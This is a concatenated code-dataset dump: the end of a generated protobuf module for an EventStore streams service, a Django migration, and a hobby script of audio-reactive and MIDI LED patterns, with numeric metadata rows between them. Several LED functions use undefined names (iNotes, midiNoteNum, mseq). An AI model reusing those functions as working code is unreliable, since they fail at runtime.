# @@protoc_insertion_point(class_scope:event_store.client.streams.AppendReq.ProposedMessage.MetadataEntry)
})
,
'DESCRIPTOR' : _APPENDREQ_PROPOSEDMESSAGE,
'__module__' : 'streams_pb2'
# @@protoc_insertion_point(class_scope:event_store.client.streams.AppendReq.ProposedMessage)
})
,
'DESCRIPTOR' : _APPENDREQ,
'__module__' : 'streams_pb2'
# @@protoc_insertion_point(class_scope:event_store.client.streams.AppendReq)
})
_sym_db.RegisterMessage(AppendReq)
_sym_db.RegisterMessage(AppendReq.Options)
_sym_db.RegisterMessage(AppendReq.ProposedMessage)
_sym_db.RegisterMessage(AppendReq.ProposedMessage.MetadataEntry)
AppendResp = _reflection.GeneratedProtocolMessageType('AppendResp', (_message.Message,), {
'Position' : _reflection.GeneratedProtocolMessageType('Position', (_message.Message,), {
'DESCRIPTOR' : _APPENDRESP_POSITION,
'__module__' : 'streams_pb2'
# @@protoc_insertion_point(class_scope:event_store.client.streams.AppendResp.Position)
})
,
'Success' : _reflection.GeneratedProtocolMessageType('Success', (_message.Message,), {
'DESCRIPTOR' : _APPENDRESP_SUCCESS,
'__module__' : 'streams_pb2'
# @@protoc_insertion_point(class_scope:event_store.client.streams.AppendResp.Success)
})
,
'WrongExpectedVersion' : _reflection.GeneratedProtocolMessageType('WrongExpectedVersion', (_message.Message,), {
'DESCRIPTOR' : _APPENDRESP_WRONGEXPECTEDVERSION,
'__module__' : 'streams_pb2'
# @@protoc_insertion_point(class_scope:event_store.client.streams.AppendResp.WrongExpectedVersion)
})
,
'DESCRIPTOR' : _APPENDRESP,
'__module__' : 'streams_pb2'
# @@protoc_insertion_point(class_scope:event_store.client.streams.AppendResp)
})
_sym_db.RegisterMessage(AppendResp)
_sym_db.RegisterMessage(AppendResp.Position)
_sym_db.RegisterMessage(AppendResp.Success)
_sym_db.RegisterMessage(AppendResp.WrongExpectedVersion)
DeleteReq = _reflection.GeneratedProtocolMessageType('DeleteReq', (_message.Message,), {
'Options' : _reflection.GeneratedProtocolMessageType('Options', (_message.Message,), {
'DESCRIPTOR' : _DELETEREQ_OPTIONS,
'__module__' : 'streams_pb2'
# @@protoc_insertion_point(class_scope:event_store.client.streams.DeleteReq.Options)
})
,
'DESCRIPTOR' : _DELETEREQ,
'__module__' : 'streams_pb2'
# @@protoc_insertion_point(class_scope:event_store.client.streams.DeleteReq)
})
_sym_db.RegisterMessage(DeleteReq)
_sym_db.RegisterMessage(DeleteReq.Options)
DeleteResp = _reflection.GeneratedProtocolMessageType('DeleteResp', (_message.Message,), {
'Position' : _reflection.GeneratedProtocolMessageType('Position', (_message.Message,), {
'DESCRIPTOR' : _DELETERESP_POSITION,
'__module__' : 'streams_pb2'
# @@protoc_insertion_point(class_scope:event_store.client.streams.DeleteResp.Position)
})
,
'DESCRIPTOR' : _DELETERESP,
'__module__' : 'streams_pb2'
# @@protoc_insertion_point(class_scope:event_store.client.streams.DeleteResp)
})
_sym_db.RegisterMessage(DeleteResp)
_sym_db.RegisterMessage(DeleteResp.Position)
TombstoneReq = _reflection.GeneratedProtocolMessageType('TombstoneReq', (_message.Message,), {
'Options' : _reflection.GeneratedProtocolMessageType('Options', (_message.Message,), {
'DESCRIPTOR' : _TOMBSTONEREQ_OPTIONS,
'__module__' : 'streams_pb2'
# @@protoc_insertion_point(class_scope:event_store.client.streams.TombstoneReq.Options)
})
,
'DESCRIPTOR' : _TOMBSTONEREQ,
'__module__' : 'streams_pb2'
# @@protoc_insertion_point(class_scope:event_store.client.streams.TombstoneReq)
})
_sym_db.RegisterMessage(TombstoneReq)
_sym_db.RegisterMessage(TombstoneReq.Options)
TombstoneResp = _reflection.GeneratedProtocolMessageType('TombstoneResp', (_message.Message,), {
'Position' : _reflection.GeneratedProtocolMessageType('Position', (_message.Message,), {
'DESCRIPTOR' : _TOMBSTONERESP_POSITION,
'__module__' : 'streams_pb2'
# @@protoc_insertion_point(class_scope:event_store.client.streams.TombstoneResp.Position)
})
,
'DESCRIPTOR' : _TOMBSTONERESP,
'__module__' : 'streams_pb2'
# @@protoc_insertion_point(class_scope:event_store.client.streams.TombstoneResp)
})
_sym_db.RegisterMessage(TombstoneResp)
_sym_db.RegisterMessage(TombstoneResp.Position)
DESCRIPTOR._options = None
_READRESP_READEVENT_RECORDEDEVENT_METADATAENTRY._options = None
_APPENDREQ_PROPOSEDMESSAGE_METADATAENTRY._options = None
_STREAMS = _descriptor.ServiceDescriptor(
name='Streams',
full_name='event_store.client.streams.Streams',
file=DESCRIPTOR,
index=0,
serialized_options=None,
create_key=_descriptor._internal_create_key,
serialized_start=6177,
serialized_end=6549,
methods=[
_descriptor.MethodDescriptor(
name='Read',
full_name='event_store.client.streams.Streams.Read',
index=0,
containing_service=None,
input_type=_READREQ,
output_type=_READRESP,
serialized_options=None,
create_key=_descriptor._internal_create_key,
),
_descriptor.MethodDescriptor(
name='Append',
full_name='event_store.client.streams.Streams.Append',
index=1,
containing_service=None,
input_type=_APPENDREQ,
output_type=_APPENDRESP,
serialized_options=None,
create_key=_descriptor._internal_create_key,
),
_descriptor.MethodDescriptor(
name='Delete',
full_name='event_store.client.streams.Streams.Delete',
index=2,
containing_service=None,
input_type=_DELETEREQ,
output_type=_DELETERESP,
serialized_options=None,
create_key=_descriptor._internal_create_key,
),
_descriptor.MethodDescriptor(
name='Tombstone',
full_name='event_store.client.streams.Streams.Tombstone',
index=3,
containing_service=None,
input_type=_TOMBSTONEREQ,
output_type=_TOMBSTONERESP,
serialized_options=None,
create_key=_descriptor._internal_create_key,
),
])
_sym_db.RegisterServiceDescriptor(_STREAMS)
DESCRIPTOR.services_by_name['Streams'] = _STREAMS
# @@protoc_insertion_point(module_scope)
| 50.741203
| 9,895
| 0.785461
| 14,210
| 113,914
| 5.897255
| 0.030472
| 0.034749
| 0.051169
| 0.063401
| 0.879558
| 0.842005
| 0.82074
| 0.782482
| 0.754905
| 0.709893
| 0
| 0.03049
| 0.100848
| 113,914
| 2,244
| 9,896
| 50.763815
| 0.787661
| 0.026494
| 0
| 0.669811
| 1
| 0.000472
| 0.244772
| 0.18777
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.002358
| 0
| 0.002358
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
fb7491fb7efd9b0f166bbeb87b26e36729150864
| 1,361
|
py
|
Python
|
src/cardapp/migrations/0002_date fix.py
|
raphv/cardmapper
|
eb2cd01f148419bbda790396b1a26bc38a984f51
|
[
"MIT"
] | null | null | null |
src/cardapp/migrations/0002_date fix.py
|
raphv/cardmapper
|
eb2cd01f148419bbda790396b1a26bc38a984f51
|
[
"MIT"
] | 15
|
2020-02-12T00:09:15.000Z
|
2022-01-13T00:43:08.000Z
|
src/cardapp/migrations/0002_date fix.py
|
raphv/cardmapper
|
eb2cd01f148419bbda790396b1a26bc38a984f51
|
[
"MIT"
] | 1
|
2017-08-31T13:20:59.000Z
|
2017-08-31T13:20:59.000Z
|
# -*- coding: utf-8 -*-
# Generated by Django 1.11.2 on 2017-06-23 09:54
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('cardapp', '0001_initial'),
]
operations = [
migrations.AlterField(
model_name='card',
name='date_created',
field=models.DateTimeField(auto_now_add=True, db_index=True),
),
migrations.AlterField(
model_name='card',
name='date_updated',
field=models.DateTimeField(auto_now=True, db_index=True),
),
migrations.AlterField(
model_name='cardmap',
name='date_created',
field=models.DateTimeField(auto_now_add=True, db_index=True),
),
migrations.AlterField(
model_name='cardmap',
name='date_updated',
field=models.DateTimeField(auto_now=True, db_index=True),
),
migrations.AlterField(
model_name='deck',
name='date_created',
field=models.DateTimeField(auto_now_add=True, db_index=True),
),
migrations.AlterField(
model_name='deck',
name='date_updated',
field=models.DateTimeField(auto_now=True, db_index=True),
),
]
| 29.586957
| 73
| 0.584129
| 140
| 1,361
| 5.442857
| 0.328571
| 0.15748
| 0.19685
| 0.228346
| 0.759843
| 0.759843
| 0.759843
| 0.711286
| 0.711286
| 0.711286
| 0
| 0.022105
| 0.301984
| 1,361
| 45
| 74
| 30.244444
| 0.78
| 0.049963
| 0
| 0.789474
| 1
| 0
| 0.093798
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.052632
| 0
| 0.131579
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
fb7e98708388595582059bfe2274224d0824e06e
| 23,000
|
py
|
Python
|
bm2019/basementPatterns.py
|
dgole/audioReactiveFadeCandy
|
aa54325052efb6b1a09741ea4d26b824a1183c5e
|
[
"MIT"
] | 1
|
2019-06-24T21:57:27.000Z
|
2019-06-24T21:57:27.000Z
|
bm2019/basementPatterns.py
|
dgole/audioReactiveFadeCandy
|
aa54325052efb6b1a09741ea4d26b824a1183c5e
|
[
"MIT"
] | 1
|
2019-06-25T01:12:11.000Z
|
2019-06-25T01:12:11.000Z
|
bm2019/basementPatterns.py
|
dgole/audioReactiveFadeCandy
|
aa54325052efb6b1a09741ea4d26b824a1183c5e
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python
import numpy as np
import sys
sys.path.append("../ar/")
import fastopc, time
import functionLib as lib
import micStream
import music
import mido
nStrips = 8
lStrip = 64
'''
TEMPLATE
def temp(brightnessFactor):
# always here
global nStrips, lStrip
client = fastopc.FastOPC('localhost:7890')
# setup
pixels = lib.Pixels(nStrips, lStrip, 20)
theoStrip = np.zeros([lStrip*nStrips,3])
# loop
while True:
'''
def chase(brightnessFactor):
# always here
global nStrips, lStrip
client = fastopc.FastOPC('localhost:7890')
# setup
n = 1
dir = 1
pixels = lib.Pixels(nStrips, lStrip, 20)
theoStrip = np.zeros([lStrip*nStrips,3])
color=2
theoStrip[n,color] = 255
# loop
while True:
if n == (nStrips*lStrip-1):
dir *=-1
elif n == 0:
dir*=-1
theoStrip=np.roll(theoStrip, 1, axis=1)
theoStrip = np.roll(theoStrip, dir, axis=0)
pixels.update(theoStrip, 1.0, 1.0)
client.putPixels(0, brightnessFactor*pixels.getArrayForDisplay())
n+=dir
time.sleep(0.003)
def bouncers(brightnessFactor):
# always here
global nStrips, lStrip
client = fastopc.FastOPC('localhost:7890')
# setup
nBouncers = 16
pixels = lib.Pixels(nStrips, lStrip, 0)
theoStrip = np.zeros([nStrips*lStrip, 3])
bouncerList = []
for i in range(nBouncers):
bouncerList.append(lib.Bouncer(np.random.randint(1,high=8), np.random.rand()*0.3+0.05, np.random.rand(3), lStrip))
# loop
while True:
for i in range(0,nBouncers): bouncerList[i].update()
for i in range(0,nBouncers//2):
stripNum = i
base = stripNum*lStrip
theoStrip[base:base+lStrip] = bouncerList[i].getFullOutArray() + bouncerList[i+nBouncers//2].getFullOutArray()
pixels.update(theoStrip, 0.5, 0.5)
client.putPixels(0, brightnessFactor*pixels.getArrayForDisplay())
time.sleep(0.01)
def stars(brightnessFactor):
# always here
global nStrips, lStrip
client = fastopc.FastOPC('localhost:7890')
# setup
waitTime = 0.1
#fade stars in over 10 frames at 0.1 s/frame is 1s per star
nStars = 50
pixels = lib.Pixels(nStrips, lStrip, 0)
theoStrips = np.zeros([nStars, nStrips*lStrip, 3])
zeroStrip = np.zeros_like(pixels.getArrayForDisplay())
client.putPixels(0, zeroStrip)
colorOption="all"
# loop
while True:
# select new values
positions = np.random.randint(0, high=nStrips*lStrip-1, size=nStars)
colors = np.random.randint(0, 255, size=[nStars,3])
for n in range(nStars):
maxColor = np.amax(colors[n])
if colorOption == "all":
colors[n] = 255*colors[n]/maxColor
elif colorOption=="red":
colors[n] = [255,0,0]
elif colorOption=="blue":
colors[n] = [0,0,255]
elif colorOption=="green":
colors[n] = [0,255,0]
elif colorOption=="purple":
colors[n] = [200,0,150]
for n in range(nStars): theoStrips[n, positions[n]] = colors[n]
# bring in new stars
for i in range(0,nStars*10):
starNum = int(np.floor(i/10))
pixels.update(theoStrips[starNum], 0.2, 0.0)
client.putPixels(0, brightnessFactor*pixels.getArrayForDisplay())
time.sleep(waitTime)
# clear old stars
for i in range(0,int(10/waitTime)):
pixels.update(zeroStrip, 0.0, 0.02)
client.putPixels(0, brightnessFactor*pixels.getArrayForDisplay())
time.sleep(waitTime)
# fully zero out strip
pixels.update(zeroStrip, 1.0, 1.0)
theoStrips = np.zeros([nStars, nStrips*lStrip, 3])
def bassWiden(brightnessFactor):
# always here
global nStrips, lStrip
client = fastopc.FastOPC('localhost:7890')
# setup
pixels = lib.Pixels(nStrips, lStrip, 20)
theoStrip = np.zeros([lStrip//2, 3])
stream = micStream.Stream(fps=30, nBuffers=4)
powerMinFreqIndex1 = int(0 / stream.dFreq)
powerMaxFreqIndex1 = int(200 / stream.dFreq)
powerSmooth = lib.ExpFilter(val=1.0, alpha_rise=0.01, alpha_decay=0.01)
nColorWheel = 600
colorWheel = lib.getColorWheel(nColorWheel)
frameCount = 0
# loop
while True:
success = stream.readAndCalc()
if success:
frameNumEff = np.mod(frameCount, nColorWheel)
power = np.sum(stream.freqSpectrum[powerMinFreqIndex1:powerMaxFreqIndex1])
powerSmooth.update(power)
displayPower = max(int(122*power/powerSmooth.value),50)
width = int(2 + 0.5*np.sqrt(float(displayPower)))
theoStrip[width:] = displayPower * colorWheel[np.mod(frameNumEff+200,nColorWheel)]
theoStrip[0:width] = 255 * colorWheel[np.mod(frameNumEff,nColorWheel)]
#pixels.update(theoStrip, 0.7, 0.2)
pixels.update(theoStrip, 1.0, 1.0)
client.putPixels(0, brightnessFactor*pixels.getArrayForDisplay())
frameCount+=1
def bassScrollMiddle(brightnessFactor):
# always here
global nStrips, lStrip
client = fastopc.FastOPC('localhost:7890')
# setup
pixels = lib.Pixels(nStrips, lStrip, 0)
theoStrip = np.zeros([lStrip//2, 3])
stream = micStream.Stream(fps=30, nBuffers=4)
powerSmooth = lib.ExpFilter(val=0.05, alpha_rise=0.05, alpha_decay=0.05)
nColorWheel = 300
colorWheel = lib.getColorWheel(nColorWheel)
frameCount = 0
# loop
while True:
success = stream.readAndCalc()
if success:
frameNumEff = np.mod(frameCount, nColorWheel)
power = np.sum(stream.freqSpectrum[20//7:250//7])
powerSmooth.update(power)
displayPower = int(122*np.power(power/powerSmooth.value, 1.5))
theoStrip = np.roll(theoStrip, 1, axis=0)
theoStrip[1] = displayPower * colorWheel[frameNumEff]
theoStrip[0] = 1000*colorWheel[frameNumEff]
pixels.update(theoStrip, 0.5, 0.5)
client.putPixels(0, brightnessFactor*pixels.getArrayForDisplay())
frameCount+=1
def bassScrollBeats(brightnessFactor):
# always here
global nStrips, lStrip
client = fastopc.FastOPC('localhost:7890')
# setup
pixels = lib.Pixels(nStrips, lStrip, 0)
theoStrips = np.zeros([nStrips, lStrip, 3])
stream = micStream.Stream(fps=30, nBuffers=4)
powerSmooth = lib.ExpFilter(val=1.0, alpha_rise=0.01, alpha_decay=0.01)
nColorWheel = 300
colorWheel = lib.getColorWheel(nColorWheel)
frameCount = 0
powerMinFreqIndex = int(0 / stream.dFreq)
powerMaxFreqIndex = int(120 / stream.dFreq)
currentStrips = np.array([0,1])
# loop
while True:
success = stream.readAndCalc()
if success:
frameNumEff = np.mod(frameCount, nColorWheel)
power = np.sum(stream.freqSpectrum[powerMinFreqIndex:powerMaxFreqIndex])
powerSmooth.update(power)
displayPower = int(122*np.power(power/powerSmooth.value, 1.5))
theoStrips = np.roll(theoStrips, -1, axis=1)
#theoStrips[:,-2] = displayPower * colorWheel[frameNumEff]
theoStrips[:,-2] = 0.0*colorWheel[frameNumEff]
theoStrips[currentStrips,-2] = displayPower * colorWheel[frameNumEff]
print(displayPower)
#if displayPower > 2000:
#currentStrips = np.arange(nStrips)
if displayPower < 50:
nCurrent = np.random.randint(2,nStrips-1)
currentStrips = np.random.randint(0,nStrips, size=nCurrent)
theoStrips[:,-1] = 1000*colorWheel[frameNumEff]
pixels.update(theoStrips, 0.7, 0.5)
client.putPixels(0, brightnessFactor*pixels.getArrayForDisplay())
frameCount+=1
def bassScrollTop(brightnessFactor):
# always here
global nStrips, lStrip
client = fastopc.FastOPC('localhost:7890')
# setup
pixels = lib.Pixels(nStrips, lStrip, 0)
theoStrip = np.zeros([lStrip, 3])
stream = micStream.Stream(fps=30, nBuffers=4)
powerSmooth = lib.ExpFilter(val=1.0, alpha_rise=0.01, alpha_decay=0.01)
nColorWheel = 300
colorWheel = lib.getColorWheel(nColorWheel)
frameCount = 0
powerMinFreqIndex = int(0 / stream.dFreq)
powerMaxFreqIndex = int(120 / stream.dFreq)
# loop
while True:
success = stream.readAndCalc()
if success:
frameNumEff = np.mod(frameCount, nColorWheel)
power = np.sum(stream.freqSpectrum[powerMinFreqIndex:powerMaxFreqIndex])
powerSmooth.update(power)
displayPower = int(122*np.power(power/powerSmooth.value, 1.5))
theoStrip = np.roll(theoStrip, -1, axis=0)
theoStrip[-2] = displayPower * colorWheel[frameNumEff]
theoStrip[-1] = 1000*colorWheel[frameNumEff]
pixels.update(theoStrip, 0.7, 0.5)
client.putPixels(0, brightnessFactor*pixels.getArrayForDisplay())
frameCount+=1
def beatDetection(brightnessFactor):
# always here
client = fastopc.FastOPC('localhost:7890')
pixels = lib.Pixels(nStrips, lStrip, 0)
theo = np.zeros([lStrip,3])
stream = micStream.Stream(fps=30, nBuffers=4)
powerSmooth1 = lib.ExpFilter(val=1.0, alpha_rise=0.05, alpha_decay=0.05)
powerMinFreqIndex1 = int(0 / stream.dFreq)
powerMaxFreqIndex1 = int(250 / stream.dFreq)
beatObj1 = music.Beat()
powerSmooth2 = lib.ExpFilter(val=1.0, alpha_rise=0.1, alpha_decay=0.1)
powerMinFreqIndex2 = int(9000 / stream.dFreq)
powerMaxFreqIndex2 = int(10000 / stream.dFreq)
beatObj2 = music.Beat(thresh=2.5, waitFrames = 2)
while True:
success = stream.readAndCalc()
if success:
power1 = np.sum(stream.freqSpectrum[powerMinFreqIndex1:powerMaxFreqIndex1])
powerSmooth1.update(power1)
powerNorm1 = power1/powerSmooth1.value
beatObj1.update(powerNorm1)
power2 = np.sum(stream.freqSpectrum[powerMinFreqIndex2:powerMaxFreqIndex2])
powerSmooth2.update(power2)
powerNorm2 = power2/powerSmooth2.value
beatObj2.update(powerNorm2)
theo[0,:] = 0
theo = np.roll(theo, -1, axis=0)
if beatObj1.getBeatStatus() == True:
theo[-1,0]=255
print('BEAT '*21)
if beatObj2.getBeatStatus() == True:
theo[-1, 2]=255
#print('BEAT '*21)
lib.clDisplay(powerNorm2)
pixels.update(theo, 1.0, 0.3)
client.putPixels(0, brightnessFactor*pixels.getArrayForDisplay())
def bouncers_ar(brightnessFactor):
# always here
global nStrips, lStrip
client = fastopc.FastOPC('localhost:7890')
# setup
stream = micStream.Stream(fps=30, nBuffers=4)
powerSmooth = lib.ExpFilter(val=0.05, alpha_rise=0.05, alpha_decay=0.05)
powerMinFreqIndex = int(0 / stream.dFreq)
powerMaxFreqIndex = int(250 / stream.dFreq)
nBouncers = 16
pixels = lib.Pixels(nStrips, lStrip, 0)
theoStrip = np.zeros([nStrips*lStrip, 3])
bouncerList = []
for i in range(nBouncers):
bouncerList.append(lib.Bouncer(np.random.randint(1,high=8), np.random.rand()*0.3+0.05, np.random.rand(3), lStrip))
# loop
while True:
success = stream.readAndCalc()
if success:
power = np.sum(stream.freqSpectrum[powerMinFreqIndex:powerMaxFreqIndex])
powerSmooth.update(power)
displayPower = int(122*np.power(power/powerSmooth.value, 1.5))
for i in range(0,nBouncers): bouncerList[i].update()
for i in range(0,nBouncers//2):
stripNum = i
base = stripNum*lStrip
theoStrip[base:base+lStrip] = (0.5+(float(displayPower)/255.0)) * ( bouncerList[i].getFullOutArray() + bouncerList[i+nBouncers//2].getFullOutArray() )
pixels.update(theoStrip, 0.5, 0.5)
client.putPixels(0, brightnessFactor*pixels.getArrayForDisplay())
#time.sleep(0.01)
def chase_beatDetection(brightnessFactor):
# always here
global nStrips, lStrip
client = fastopc.FastOPC('localhost:7890')
# setup
stream = micStream.Stream(fps=30, nBuffers=4)
powerSmooth1 = lib.ExpFilter(val=1.0, alpha_rise=0.05, alpha_decay=0.05)
powerMinFreqIndex1 = int(0 / stream.dFreq)
powerMaxFreqIndex1 = int(120 / stream.dFreq)
beatObj1 = music.Beat(thresh=1.5, waitFrames = 5)
powerSmooth2 = lib.ExpFilter(val=1.0, alpha_rise=0.1, alpha_decay=0.1)
powerMinFreqIndex2 = int(9000 / stream.dFreq)
powerMaxFreqIndex2 = int(10000 / stream.dFreq)
beatObj2 = music.Beat(thresh=2.5, waitFrames = 2)
dir = 1
pixels = lib.Pixels(nStrips, lStrip, 20)
theoStrip = np.zeros([lStrip*nStrips,3])
color=2
for n in range(0,lStrip*nStrips, lStrip//2+2 ): theoStrip[n,color] = 255
# loop
while True:
success = stream.readAndCalc()
if success:
power1 = np.sum(stream.freqSpectrum[powerMinFreqIndex1:powerMaxFreqIndex1])
powerSmooth1.update(power1)
#powerTot = np.sum(stream.freqSpectrum)
powerSmooth1.update(power1)
powerNorm1 = power1/powerSmooth1.value
beatObj1.update(powerNorm1)
power2 = np.sum(stream.freqSpectrum[powerMinFreqIndex2:powerMaxFreqIndex2])
powerSmooth2.update(power2)
powerNorm2 = power2/powerSmooth2.value
beatObj2.update(powerNorm2)
if beatObj1.getBeatStatus() == True:
dir *=-1
theoStrip = np.roll(theoStrip, 1, axis=1)
lib.clDisplay(powerNorm1)
theoStrip = np.roll(theoStrip, dir, axis=0)
pixels.update(theoStrip, 1.0, 0.05)
client.putPixels(0, brightnessFactor*pixels.getArrayForDisplay())
n+=dir
time.sleep(0.003)
def rain1(brightnessFactor):
# always here
global nStrips, lStrip
client = fastopc.FastOPC('localhost:7890')
# setup
nColorWheel = 100
colorWheel = lib.getColorWheel(nColorWheel)
pixels = lib.Pixels(nStrips, lStrip, 0)
theoAll = np.zeros([lStrip*nStrips,3])
frameCount = 0
# loop
while True:
for i in range(nStrips): theoAll[i*lStrip,:]=0
frameNumEff = np.mod(frameCount, nColorWheel)
theoAll = 0.99*np.roll(theoAll, -1, axis=0)
if np.random.rand()<0.75:
stripNum = np.random.randint(0, high=nStrips)
theoAll[(stripNum*lStrip)+lStrip-1]=255*colorWheel[frameNumEff]
pixels.update(theoAll, 1.0, 0.4)
client.putPixels(0, brightnessFactor*pixels.getArrayForDisplay())
time.sleep(0.05)
frameCount+=1
def rain2(brightnessFactor):
# always here
global nStrips, lStrip
client = fastopc.FastOPC('localhost:7890')
# setup
nColorWheel = nStrips
colorWheel = lib.getColorWheelRedBlue(nColorWheel)
pixels = lib.Pixels(nStrips, lStrip, 0)
theoAll = np.zeros([lStrip*nStrips,3])
frameCount = 0
stripNum = 0
dir = 1
updateEvery = 50
sleepTime = 0.03 / updateEvery
chance = 0.5
alpha = float(2.0/updateEvery)
# loop
while True:
if np.mod(frameCount, updateEvery) == 0:
for i in range(nStrips): theoAll[i*lStrip,:]=0
theoAll = np.roll(theoAll, -1, axis=0)
if np.random.rand()<chance:
if stripNum==0:
dir=1
elif stripNum==nStrips-1:
dir=-1
theoAll[(stripNum*lStrip)+lStrip-1]=255*colorWheel[stripNum]
stripNum += dir
pixels.update(theoAll, alpha, alpha/10.0)
client.putPixels(0, brightnessFactor*pixels.getArrayForDisplay())
frameCount+=1
time.sleep(sleepTime)
def rain1_midi(brightnessFactor):
# always here
global nStrips, lStrip
client = fastopc.FastOPC('localhost:7890')
# setup
pixels = lib.Pixels(nStrips, lStrip, 0)
theoAll = np.zeros([lStrip*nStrips,3])
inputNames = mido.get_input_names()
inport = mido.open_input(inputNames[0])
board = lib.Board()
speedCut = 100
frameNum = 0
midiNotes = []
while len(midiNotes) < nStrips:
for msg in inport.iter_pending():
if msg.type == 'note_on':
midiNotes.append(msg.note)
print(midiNotes)
# loop
while True:
for msg in inport.iter_pending():
board.update(msg)
color = 2*board.knobs[48:51]
overallFactor = float(board.knobs[51]+1)/(128.0)
if np.mod(frameNum, speedCut) == 0:
for n in range(nStrips): theoAll[n*lStrip,:]=0
theoAll = np.roll(theoAll, -1, axis=0)
for n in range(nStrips):
midiNoteNum = midiNotes[n]
if board.notes[midiNoteNum] == 1:
theoAll[(n*lStrip)+lStrip-1] = color*(board.velocities[midiNoteNum]/128.0)
#theoAll[(n*lStrip)+lStrip-1] = stripColors[n]
pixels.update(theoAll, 1.0, 0.4)
client.putPixels(0, overallFactor*brightnessFactor*pixels.getArrayForDisplay())
time.sleep(2.e-4)
frameNum+=1
def rain2_midi(brightnessFactor):
# always here
global nStrips, lStrip
client = fastopc.FastOPC('localhost:7890')
# setup
pixels = lib.Pixels(nStrips, lStrip, 0)
theoAll = np.zeros([lStrip*nStrips,3])
inputNames = mido.get_input_names()
inport = mido.open_input(inputNames[0])
board = lib.Board()
speedCut = 100
frameNum = 0
stripColors = np.zeros([nStrips, 3])
n=0
while n < nStrips:
for msg in inport.iter_pending():
board.update(msg)
if msg.type == 'note_on':
stripColors[n] = 2*board.knobs[48:51]
n+=1
# loop
while True:
for msg in inport.iter_pending():
board.update(msg)
overallFactor = float(board.knobs[51]+1)/(128.0)
if np.mod(frameNum, speedCut) == 0:
for n in range(nStrips): theoAll[n*lStrip,:]=0
theoAll = np.roll(theoAll, -1, axis=0)
for n in range(nStrips):
iNotes[n]
if board.notes[midiNoteNum] == 1:
theoAll[(n*lStrip)+lStrip-1] = stripColors[n]
pixels.update(theoAll, 1.0, 0.4)
client.putPixels(0, overallFactor*brightnessFactor*pixels.getArrayForDisplay())
time.sleep(2.e-4)
frameNum+=1
def drums_midi(brightnessFactor):
# always here
global nStrips, lStrip
client = fastopc.FastOPC('localhost:7890')
# setup
pixels = lib.Pixels(nStrips, lStrip, 0)
theoAll = np.zeros([lStrip*nStrips,3])
inputNames = mido.get_input_names()
inport = mido.open_input(inputNames[1])
board = lib.Board()
speedCut = 100
frameNum = 0
nColorWheel = nStrips
colorWheel = lib.getColorWheel(nColorWheel)
stripColors = np.zeros([nStrips, 3])
n=0
while n < nStrips:
stripColors[n]=colorWheel[n]*255
n+=1
midiNotes=[]
while len(midiNotes) < nStrips:
for msg in inport.iter_pending():
if msg.type == 'note_on':
midiNotes.append(msg.note)
print(midiNotes)
justTurnedOn = np.zeros(nStrips)
# loop
while True:
for msg in inport.iter_pending():
board.update(msg)
#overallFactor = float(board.knobs[51]+1)/(128.0)
#if np.mod(frameNum, speedCut) == 0:
for n in range(nStrips): theoAll[n*lStrip,:]=0
theoAll = np.roll(theoAll, -1, axis=0)
for n in range(nStrips):
if board.notes[midiNotes[n]] == 1:
theoAll[(n*lStrip)+lStrip-1] = stripColors[n]
pixels.update(theoAll, 1.0, 0.4)
client.putPixels(0, brightnessFactor*pixels.getArrayForDisplay())
time.sleep(2.e-2)
frameNum+=1
def bpm(brightnessFactor):
# always here
global nStrips, lStrip
#client = fastopc.FastOPC('localhost:7890')
# setup
#pixels = lib.Pixels(nStrips, lStrip, 20)
#theoStrip = np.zeros([lStrip//2, 3])
stream = micStream.Stream(fps=30, nBuffers=4)
powerMinFreqIndex1 = int(0 / stream.dFreq)
powerMaxFreqIndex1 = int(200 / stream.dFreq)
powerSmooth = lib.ExpFilter(val=1.0, alpha_rise=0.01, alpha_decay=0.01)
#frameCount = 0
bpm = music.BPM()
# loop
while True:
success = stream.readAndCalc()
if success:
power = np.sum(stream.freqSpectrum[powerMinFreqIndex1:powerMaxFreqIndex1])
powerSmooth.update(power)
bpm.update(power)
#displayPower = max(int(122*power/powerSmooth.value),50)
#pixels.update(theoStrip, 0.7, 0.2)
#client.putPixels(0, brightnessFactor*pixels.getArrayForDisplay())
#frameCount+=1
def joystick(brightnessFactor):
# always here
global nStrips, lStrip
client = fastopc.FastOPC('localhost:7890')
# setup
pixels = lib.Pixels(nStrips, lStrip, 0)
theoAll = np.zeros([lStrip*nStrips,3])
inputNames = mido.get_input_names()
inport = mido.open_input(inputNames[0])
board = lib.Board()
# loop
while True:
for msg in inport.iter_pending():
board.update(msg)
for n in range(nStrips): theoAll[n*lStrip,:]=0
theoAll = np.roll(theoAll, -1, axis=0)
currentStrip = np.floor((board.pitchwheel+8192)//(8192*2//nStrips))
for n in range(nStrips):
if n == currentStrip:
theoAll[(n*lStrip)+lStrip-1] = [200, 100, 250]
pixels.update(theoAll, 1.0, 0.4)
client.putPixels(0, brightnessFactor*pixels.getArrayForDisplay())
time.sleep(2.e-2)
def loopTest(brightnessFactor):
# always here
global nStrips, lStrip
#client = fastopc.FastOPC('localhost:7890')
# setup
pixels = lib.Pixels(nStrips, lStrip, 0)
theoAll = np.zeros([lStrip*nStrips,3])
inputNames = mido.get_input_names()
inport = mido.open_input(inputNames[0])
board = lib.Board()
mseqList = []
n1 = 0
# loop
while True:
n=0
mseqList.append(lib.midiSequence())
while n < 10000:
n+=1
for msg in inport.iter_pending():
mseq.update(msg)
pixels.update(theoAll, 1.0, 0.4)
#client.putPixels(0, brightnessFactor*pixels.getArrayForDisplay())
time.sleep(2.e-4)
n1+=1
##
| 36.050157
| 166
| 0.607217
| 2,631
| 23,000
| 5.288483
| 0.093501
| 0.042044
| 0.022998
| 0.0396
| 0.803938
| 0.787193
| 0.768578
| 0.746874
| 0.737746
| 0.698793
| 0
| 0.052855
| 0.272826
| 23,000
